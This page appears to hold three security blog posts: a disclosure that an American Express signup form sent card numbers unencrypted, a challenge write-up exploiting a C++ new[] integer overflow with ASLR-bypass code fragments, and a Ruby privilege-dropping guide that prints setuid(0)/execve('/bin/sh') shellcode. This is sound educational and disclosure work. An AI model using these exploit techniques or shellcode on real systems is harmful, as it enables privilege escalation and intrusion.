As of 3:35pm PST on 5/25/2010 it seems to be fixed. wireshark shows only TLS traffic now, nothing in the clear. Pretty quick fix, since this was published at 11:54am. Good deal.

This article is going to reveal a pretty serious error in a web form on the American Express Network website. I would strongly recommend NOT filling out the web form described below.

Daily Wish from the American Express Network

Daily wish from the American Express Network sent me an email this morning trying to get me to sign up for their deal of the day service where they offer a very limited quantity of products for a low price.

Sounds simple enough, right?

Well, the time of the sale is not released until the day the sale occurs, unless you are an American Express cardholder. If you are a card holder, you get a special landing page on their website telling you that if you sign up, you can get the sale times before the sale date.

The white arrow below points to the tab that only appears if you clicked through from an email from American Express. The red arrow below points to the sign up button. Take a look:

Sign up page

After clicking the sign up button (red arrow above), a lightbox appears asking for:

• First and last name
• American Express credit card number
• Security code
• Expiration date
• Billing zip

Quite a bit of personal information, much of it sensitive. [sarcarsm]Don’t worry the page is secure[/sarcasm], see the form and the white arrow below:

The code from the form

This form looked very suspicious to me, so I decided to take a look at the code to see if the action for this sign up form was over HTTPS. Check it:

<form name="form1" method="post" action="preid2.aspx?ct=7" onsubmit="javascript:return WebForm_OnSubmit();" id="form1">

So the action is to a handler at http://dailywish.amexnetwork.com/preid2.aspx?ct=7. The lack of https doesn’t make me feel very good.

Maybe the WebForm_OnSubmit() function is doing something that might make this secure? Let’s take a look:

<script type="text/javascript">
//<![CDATA[
function WebForm_OnSubmit() {
if (typeof(ValidatorOnSubmit) == "function" && ValidatorOnSubmit() == false) return false;
return true;
}
//]]>
</script>

So it looks like that function is just a validator. It is really starting to feel like this form is insecure.

Let’s bring out wireshark and see what it has to say.

Wireshark packet sniff

So I filled out the form with fake information and sniffed the POST to the server.

The Daily Wish sign up form from the American Express Network is sending credit card numbers, expiration dates, and all the other personal information on the sign up form in the clear back to their server.

Holy. Fuck.

Conclusion

• Do NOT fill out the form until American Express fixes this issue.

Thanks for reading and don’t forget to subscribe (via RSS or e-mail) and follow me on twitter.

If you enjoy this article, subscribe (via RSS or e-mail) and follow me on twitter.

Important note

I am NOT a security researcher (I kinda want to be though). As such, there are probably way better ways to do everything in this article. This article is just illustrating my thought process when cracking this challenge.

The Challenge

The Matasano Security blog recently posted an article titled A C++ Challenge¹ which included a particularly ugly piece of C++ code that has a security vulnerability. The challenge is for the reader to find the vulnerability, use it execute arbitrary code, and submit the data to Matasano.

Sounds easy enough, let’s do this! cue hacking music

Making it harder

Recent linux kernels have feature called Address Space Layout Randomization (ASLR) which can be set in /proc/sys/kernel/randomize_va_space. ASLR is a security feature which randomizes the start address of various parts of a process image. Doing this makes exploiting a security bug more difficult because the exploit cannot use any hard coded addresses.

The options you can set are:

• 0 – ASLR off
• 1 – Randomize the addresses of the stack, mmap area, and VDSO page. This is the default.
• 2 – Everything in option 1, but also randomize the brk area so the heap is randomized.

Just for fun I decided to set it to 2 to make exploiting the challenge more difficult.

Got the code, but now what?

I decided to start attacking this problem by looking for a few common errors, in this order:

1. strcpy()/strncpy() bugs No calls
2. memcpy() bugs A few calls
3. Off by one bugs None obvious

It turned out from a quick look that all calls to memcpy() included sane, hard-coded values. So, it had to be something more complex.

Digging deeper – finding input streams the user can control

Next, I decided to actually read the code and see what it was doing at a high level and what inputs could be controlled. Turns out that the program reads data from a file and uses the data from the file to determine how many objects to allocate.

Obviously, this portion of the code caught my interest so let’s take a quick look:

/* ... */

fd.read(file_in_mem, MAX_FILE_SIZE-1);

/* ... */

struct _stream_hdr *s = (struct _stream_hdr *) file_in_mem;

if(s->num_of_streams >= INT_MAX / (int)sizeof(int)) {
    safe_count = MAX_STREAMS;
} else {
    safe_count = s->num_of_streams;
}

Obj *o = new Obj[safe_count];

OK, so clearly that if statement is suspect. At the very least it doesn’t check for negative values, so you could end up with safe_count = -1 which might do something interesting when passed to the new operator. Moreover, it appears this if statement will allow values as large as 536870910 ([INT_MAX / sizeof(int)] – 1).

Maybe the exploit has something to do with values this if statement is allowing through?

A closer look at the integer overflow in new

Let’s use GDB to take a closer look at what the compiler does before calling new. I’ve added a few comments in line to explain the assembly code:

mov    %edx,%eax   ;  %edx and %eax store s->num_of_streams
add    %eax,%eax   ;  add %eax to itself (s->num_of_streams * 2)
add    %edx,%eax   ;  add  s->num_of_streams + %eax (s->num_of_streams*3)
shl    $0x2,%eax   ;  multiply (s->num_of_streams * 3) by 4  (s->num_of_streams * 12)
mov    %eax,(%esp) ;  move it into position to pass to new
call   0x8048a7c <_Znaj@plt> ; call new

The compiler has generated code to calculate: s->num_of_streams * sizeof(Obj). sizeof(Obj) is 12 bytes. For large values of s->num_of_streams multiplying it by 12, causes an integer overflow and the value passed to new will actually be less than what was intended.

For my exploit, I ended up using the value 357913943. This value causes an overflow, because 357913943 * 12 is greater than the biggest possible value for an integer by 20. So the value passed to new is 20. Which is, of course, significantly less than what we actually wanted to allocate. Other people have written about integer overflow in new in other compilers² before.

Let’s see how this can be used to cause arbitrary code to execute. Remember, for arbitrary code execution to occur there must be a way to cause the target program to write some data to a memory address that can be controlled.

Find the (possible) hand-off(s) to arbitrary code

To find any hand-off locations, I looked for places where memory writes were occurring in the program. I found a few memory writes:

• 2 calls to memset()
• 2 calls to memcpy()
• parse_stream() of class Obj

Unfortunately (from the attacker’s perspective) the calls to memcpy() and memset() looked pretty sane. The parse_stream() function caught my interest, though.

Take a look:

class Obj {
    public:
    int parse_stream(int t, char *stream)
    {
      type = t;
      // ... do something with stream here ...
      return 0;
    }

    int length;
    int type;
/* ... */

REMEMBER: In C++, member functions of classes have a sekrit parameter which is a pointer to the object the function is being called on. In the function itself, this parameter is accessed using this. So the line writing to the type variable is actually doing this->type = t; where this is supplied to the function sektrily by the compiler.

This is important because this piece of code could be our hand-off! We need to find a way to control the value of this so we can cause a memory write to a location of our choice.

Controlling this to cause arbitrary code to execute

Take a look at an important piece of code in the challenge:

struct imetad {
  int msg_length;
  int (*callback)(int, struct imetad *);
/* ... */

Nice! The callback field of struct imetad is offset by 4 bytes into the structure. The type field of class Obj is also offset by 4 bytes. See where I’m going?

If we can control the this pointer to point at the struct imetad on the heap when parse_stream is called, it will overwrite the callback pointer. We’ll then be able to set the pointer to any address we want and hand-off execution to arbitrary code!

But how can we manipulate this?

Take a look at this piece of code that calls callback:

o[i].parse_stream(dword, stream_temp);
imd->callback(o[i].type, imd);

Since it is possible to overflow new and allocate fewer objects than safe_count is counting, that means that for some values of i, o[i] will be pointing at data that isn’t actually an Obj object, but just other data on the heap. Infact, when i = 2, o[i] will be pointing at the struct imetad object on the heap. The call to parse_stream will pass in a corrupted this pointer, that points at struct imetad. The write to type will actually overwrite callback since they are both offset equal amounts into their respective structures.

And with that, we’ve successfully exploited the challenge causing arbitrary code to execute.

Let’s now figure out how to beat ASLR!

How to defeat address space layout randomization

I did NOT invent this technique, but I read about it and thought it was cool. You can read a more verbose explanation of this technique here. The idea behind the technique is pretty simple:

• When you call exec, the PID remains the same, but the image of the process in memory is changed.
• The kernel uses the PID and the number of jiffies (jiffies is a fine-grained time measurement in the kernel) to pull data from the entropy pool.
• If you can run a program which records stack, heap, and other addresses and then quickly call exec to start the vulnerable program, you can end up with the same memory layout.

My exploit program is actually a wrapper which records an approximate location of the heap (by just calling malloc()), generates the exploit file, and then executes the challenge binary.

Take a look at the relevant pieces of my exploit to get an idea of how it works:

/* ... */

/* do a malloc to get an idea of where the heap lives */
void *dummy = malloc(10);

/* ... */

unsigned int shell_addr = reinterpret_void_ptr_as_uint(dummy);

/*
 * XXX TODO FIXME - on my platform, execl'ing from here to the challenge binary
 * incurs a constant offset of 0x3160, probably for changes in the environment
 * (libs linked for c++ and whatnot).
 */
shell_addr += 0x3160;

/*
 * a guess as to how far off the heap the shellcode lives.
 *
 * luckily we have a large NOP sled, so we should only fail when we miss
 * the current entropy cycle (see below).
 */
shell_addr += 700;

/* ... build exploit file in memory ... */

/* copy in our best guess as to the address of the shellcode, pray NOPs
 * take care of the rest! */
memcpy(entire_file+88, &shell_addr, sizeof(shell_addr));

/* ... write exploit out to disk ... */

/* launch program with the generated exploit file!
*
* calling execl here inherits the PID of this process, and IF we get lucky
* ~85%+ of the time, we'll execute before the next entropy cycle and hit
* the shellcode, even with ASLR=2.
*/
execl("./cpp_challenge", "cpp_challenge", "exploit", (char *)0);

My exploit for the C++ challenge

My exploit comes with the following caveats:

• i386 system
• The challenge binary is called “cpp_challenge” and lives in the same directory as the exploit binary.
• The exploit binary can write to the directory and create a file called “exploit” which will be handed off to “cpp_challenge”

Get the full code of my exploit here.

Results

Results on my i386 Ubuntu 8.04 VM running in VMWare fusion, for each level of randomize_va_space:

• 0 – 100% exploit hit rate
• 1 – 100% exploit hit rate
• 2 – ~85% exploit hit rate. Sometimes, my exploit code falls out of the time window and the address map changes before the challenge binary is run

I could probably boost the hit rate for 2 a bit, but then I’d probably re-write the entire exploit in assembly to make it run as fast as possible. I didn’t think there was really a point to going to such an extreme, though. So, an 85% hit rate is good enough.

Conclusion

1. Security challenges are fun.
2. More emphasis and more freely available information on secure coding would be very useful.
3. Like it or not developers need to be security conscious when writing code in C and C++.
4. As C and C++ change, developers need to carefully consider security implications of new features.

Thanks for reading and don’t forget to subscribe (via RSS or e-mail) and follow me on twitter.

References

1. Matasano Security LLC – Chargen – A C++ Challenge [↩]
2. Integer overflow in the new[] operator [↩]

*nix user and group IDs are complicated, confusing, and often misused. Look at this code snippet from the popular Ruby project, Starling:

At quick first glance, you might think this code looks OK. But you’d be wrong.

Let’s take a look at 5 things you probably don’t know about user and group IDs that can lead you to your downfall.

The difference between real, effective, and saved IDs

This is always a bit confusing, but without a solid understanding of this concept you are doomed later.

• Real ID – The real ID is the ID of the process that created the current process. So, let’s say you log in to your box as joe, your shell is then launched with its real ID set to joe. All processes you start from your shell will inherit the real ID joe as their real ID.
• Effective ID – The effective ID is the ID that the system uses to determine whether a process can take a particular action. There are two popular ways to change your effective ID:
• su – the su program changes your effective, real, and saved IDs to the ID of the user you are switching to.
• set ID upon execute (abbreviated setuid) – You can mark a program’s set uid upon execute bit so that the program runs with its effective and saved ID set to the owner of the program (which may not necessarily be you). The real ID will remain untouched. For example, if you have a program:
  …
  rv = getresuid(&ruid, &euid, &suid);
  …
  printf("ruid %d, euid %d, suid %d\n", ruid, euid, suid);

  If you then chown the program as root and chmod +s (which turns on the setuid bit), the program will print:

  ruid 1000, euid 0, suid 0

  when it is run (assuming your user ID is 1000).

• Saved ID – The saved ID is set to the effective ID when the program starts. This exists so that a program can regain its original effective ID after it drops its effective ID to an unprivileged ID. This use-case can cause problems (as we’ll see soon) if it is not correctly managed.
• If you start a program as yourself, and it does not have its set ID upon execute bit set, then the program will start running with its real, effective, and saved IDs set to your user ID.
• If you run a setuid program, your real ID remains unchanged, but your effective and saved IDs are set to the owner of the file.
• su does the same as running a setuid program, but it also changes your real ID.

Don’t use Process.euid= in Ruby; stay as far away as possible

• Process.euid= is EXTREMELY platform specific. It might do any of the following:
  • Set just your effective ID
  • Set your effective, real, and saved ID.

  On most recent Linux kernels, Process.euid= changes ONLY the Effective ID. In most cases, this is NOT what you want. Check out this sample Ruby script. What would happen if you ran this script as root?

def write_file
  begin
    File.open("/test", "w+") do |f|
      f.write("hello!\n")
      f.close
    end
    puts "wrote test file"
  rescue Errno::EACCES
    puts "could not write test file"
  end
end
 
puts "ok, set uid to nobody"
Process.euid = Etc.getpwnam("nobody").uid
 
puts "going to try to write to / now…"
 
write_file
 
puts "restoring back to root"
 
Process.euid = 0
 
puts "now writing file"
 
write_file

This might surprise you, but the script regains root‘s ID after it has dropped itself down to nobody.

• Why does this work?

Well as we just said, Process.euid= doesn’t touch the Saved ID, only the Effective ID. As a result, the effective ID can be set back to the saved ID at any time. The only way to avoid this is to call a different Ruby function as we’ll see in #4 below.

Buggy native code running as nobody can execute arbitrary code as root in 8 bytes

• Imagine a Ruby script much like the one above. The script is run as root to do something special (maybe bind to port 80).
• The process then drops privileges to nobody.
• Afterward, your application interacts with buggy native code in the Ruby interpreter, a Ruby extension, or a Ruby gem.
• If that buggy native code can be “tricked” into executing arbitrary code, a malicious user can elevate the process up from nobody to root in just 8 bytes. Those 8 bytes are: \x31\xdb\x8d\x43\x17\x99\xcd\x80 – which is a binary representation of setuid(0).
• At this point, a malicious user can execute arbitrary code as the root user

Let’s take a look at an (abbreviated) code snippet (full here):

## we’re using a buggy gem
require ‘badgem’

# do some special operations here as the privileged user
…

# ok, now let’s (incorrectly) drop to nobody
Process.euid = Etc.getpwnam("nobody").uid

# let’s take some user input
s = MyModule::GetUserInput

# let’s assume the user is malicious and supplies something like:
# "\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52" +
# "\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"
# as the string.
# That string is x86_32 linux shellcode for running
# setuid(0); and execve("/bin/sh", 0, 0) !

# pass that to a buggy Ruby Gem
BadGem::bad(s)

# the user is now sitting in a root shell!!

This is obviously NOT GOOD.

How to change the real, effective, and saved IDs

In the list below, I’m going to list the functions as syscall - RubyFunction

• setuid(uid_t uid) - Process::Sys.setuid(integer)

This pair of functions always sets the real, effective, and saved user IDs to the value passed in. This is a useful function for permanently dropping privileges, as we’ll see soon. This is a POSIX function. Use this when possible.

• setresuid(uid_t ruid, uid_t euid, uid_t suid) - Process::Sys.setresuid(rid, eid, sid)

This pair of functions allows you to set the real, effective, saved User IDs to arbitrary values, assuming you have a privileged effective ID. Unfortunately, this function is NOT POSIX and is not portable. It does exist on Linux and some BSDs, though.

• setreuid(uid_t ruid, uid_t eid) - Process::Sys.setreuid(rid, eid)

This pair of functions allows you to set the real and effective user IDs to the values passed in. On Linux:

• A process running with an unprivileged effective ID will only have the ability to set the real ID to the real ID or to the effective ID.
• A process running with a privileged effective ID will have its saved ID set to the new effective ID if the real or effective IDs are set to a value which was not the previous real ID.

This is a POSIX function, but has lots of cases with undefined behavior. Be careful.

• seteuid(uid_t eid) - Process::Sys.seteuid(eid)

This pair of functions sets the effective ID of the process but leaves the real and saved IDs unchanged. IMPORTANT: Any process (including those with unprivileged effective IDs) may change their effective ID to their real or saved ID. This is exactly the behavior we saw with the Ruby script in #2 above. This is a POSIX function.

How to correctly and permanently drop privileges

You should use either the:

• setuid(uid_t uid) - Process::Sys.setuid(integer)

or

• setresuid(uid_t ruid, uid_t euid, uid_t suid) - Process::Sys.setresuid(rid, eid, sid)

pair of functions to set the real, effective, and saved IDs to the lowest privileged ID possible. On many systems, this is the ID of the user nobody.

For the truly paranoid, it is recommended to check that dropping privileges was actually successful before continuing. For example:

require ‘etc’

def test_drop
  begin
    Process::Sys.setuid(0)
  rescue Errno::EPERM
    true
  else
    false
  end
end

uid = Etc.getpwnam("nobody").uid
Process::Sys.setuid(uid)

if !test_drop
  puts "Failed!"
  #handle error
end

Conclusion

*nix user and group ID management is confusing, difficult, and extremely error prone. It is a difficult system with many nuances, gotchas, and caveats. It is no wonder so many people make mistakes when trying to write secure code. The major things to keep in mind from this article are:

• Avoid Process.euid= at all costs.
• Drop privileges as soon as possible in your application.
• Drop those privileges permanently.
• Ensure that privileges were correctly dropped.
• Carefully read and re-read man pages when using the functions listed above.